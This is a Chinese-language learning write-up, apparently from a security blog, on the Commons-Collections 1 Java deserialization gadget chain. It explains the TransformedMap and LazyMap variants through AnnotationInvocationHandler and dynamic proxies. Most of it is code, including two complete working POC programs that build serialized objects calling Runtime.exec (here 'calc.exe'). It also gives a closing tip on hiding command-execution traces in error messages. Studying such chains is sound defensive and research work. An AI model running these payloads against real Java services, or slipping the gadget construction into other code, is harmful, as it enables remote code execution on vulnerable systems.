Common-Collections利用链1
第一次接触反序列化漏洞时写的初识Java反序列化漏洞这篇文章当中已经分析过一遍Common-Collections的两条链子(分别用的TransformedMap
和LazyMap
构造恶意对象反射链,AnnotationInvocationHandler
(CC1)和BadAttributeValueExpException
(CC5)调用transform())。这次从Common-Collections1开始再捋一遍,顺便自己写一遍exp加深印象。
本文环境为jdk1.7_80
,commons-collections-3.2.1.jar。下载jar包添加依赖或者maven项目idea直接添加依赖(推荐)
下面是ysoserial当中CC1的Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()//恶意对象反射链部分
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ysoserial用的是LazyMap
进行构造,相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因在后面部分会解释。先把这个放到一边,从TransformedMap链开始搞清楚原理。
TransformedMap链
先看一个简单的demo
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
//这是两个链子当中相同的部分,用于串起命令执行调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
//包装innerMap,回调TransformedMap.decorate
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
outerMap.put("test", "xxxx");
}
}
其实把这几个函数是干嘛的搞明白就能看懂了,IDEA当中查看源码记得点一下下载源代码,直接反编译class的源码会有些许不同。
恶意对象反射链
Transformer
Transformer
是一个接口,它只有一个待实现的transform
方法:
public interface Transformer {
public Object transform(Object input);
}
ConstantTransformer
ConstantTransformer
是实现了Transformer
接口的一个类,实例化类时通过构造函数传入一个对象,在调用其transform()
方法将这个对象再返回,在执行回调时方便后续操作(传给InvokerTransformer
的transform
方法)。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
InvokerTransformer
InvokerTransformer
也是实现Transformer
接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform
方法即可回调input
对象的相应方法(用于调用任意方法命令执行):
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer
也实现了Transformer
接口,实例化时传入一Transformer
数组,其transform
方法将内部的多个Transformer
串在一起。前一个回调返回的结果,作为后一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
到这基本整条命令执行的链子就串起来了(到demo代码中transformerChain
的部分),下图截取自Java安全漫谈
调试调用过程之前写过了,这里就不跟了。
demo当中其实就是对Runtime对象的exec方法进行了一个回调,还需要有东西去触发整条链子,即调用ChainedTransformer
的transform
方法。
TransformedMap
TransformedMap
用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
................
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
.............
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
使用方法如下:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后向Map中放入一个新的元素触发回调
outerMap.put("test", "xxxx");
AnnotationInvocationHandle
现在整个demo的逻辑就清晰了,但还不是一个真正能用的POC,还需要一个类readObject
方法能够代替outerMap.put
触发回调,即存在设置值的操作,即:
sun/reflect/annotation/AnnotationInvocationHandler.java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核心逻辑为Map.Entry<String, Object> memberValue : memberValues.entrySet()
和memberValue.setValue(...)
memberValues
就是反序列化后得到的Map
,也是经过了TransformedMap
修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap
里注册的Transform
,开始整个链子的回调。
注意在进入memberValue.setValue
逻辑前有有两个条件需要满足
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
....................
if (memberType != null) { // i.e. member still exists
需满足:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
//通过反射调用构造函数实例化
construct.newInstance(Retention.class, outerMap);
-
被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
innerMap.put("value", "xxxx");
因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new,需反射来完成实例化
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
序列化Runtime
这时候还需要将前面的恶意反射链那的调用改成反射,不然会报错,Runtime类没有实现 java.io.Serializable 接口,不能序列化。
上面提到InvokerTransformer
能调用类的方法,所以可以使用反射的形式去回调(因为Class
类是实现了Serializable
接口的)。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
POC:
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
//包装innerMap,回调TransformedMap.decorate
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
//outerMap.put("test", "xxxx");
//反射调用AnnotationInvocationHandle
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
高版本限制(大于8u71)
在8u71以后Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,传进去的恶意Map不再执行set或put操作,便无法触发transform。
LazyMap链
现在开始步入真正的CommonCollections1利用链
LazyMap
先瞅一眼ysoserial的代码,发现用的是LazyMap
:
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {..........
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
.................
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
decorate方法:
返回一个修饰后的Map
,和TransformedMap.decorate
的用法差不多。
get方法:
当这个Map调用get
找不到值的时候,它会调用factory.transform
方法去获取一个值(TransformedMap
是在写入元素时调用put
执行transform
)
使用方法如下:
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
outerMap.get("xxx");
现在的问题变成了怎么去调用这个get
方法,AnnotationInvocationHandler
的readObject
方法中并没有直接调用到Map的get
方法,但是其invoke
方法有调用:
public Object invoke(Object proxy, Method method, Object[] args) {
.....................
// Handle annotation member accessors
Object result = memberValues.get(member);
要想调用这个invoke
就得用到Java动态对象代理
动态代理
之前写过Javaweb安全学习——Java动态代理,这里只要知道一点,在执行代理对象的任意方法时,实际都是去执行InvocationHandler对象的invoke方法。
sun.reflect.annotation.AnnotationInvocationHandler
就
是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject
的时候,只要调用任意方法(如:readObject
方法),就会进入到AnnotationInvocationHandler#invoke 方法,完成链子的启动。
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
不过这时的proxyMap
还不能直接序列化,因为入口点是
AnnotationInvocationHandler#readObject
,所以还需要再用AnnotationInvocationHandler
对这个proxyMap
进行包裹:
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
POC:
package ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String args[]) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
//用AnnotationInvocationHandler对proxyMap进行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
看到ysoserial的Transformer数组最后还有一个ConstantTransformer(1)
这可以隐藏错误信息中的命令执行特征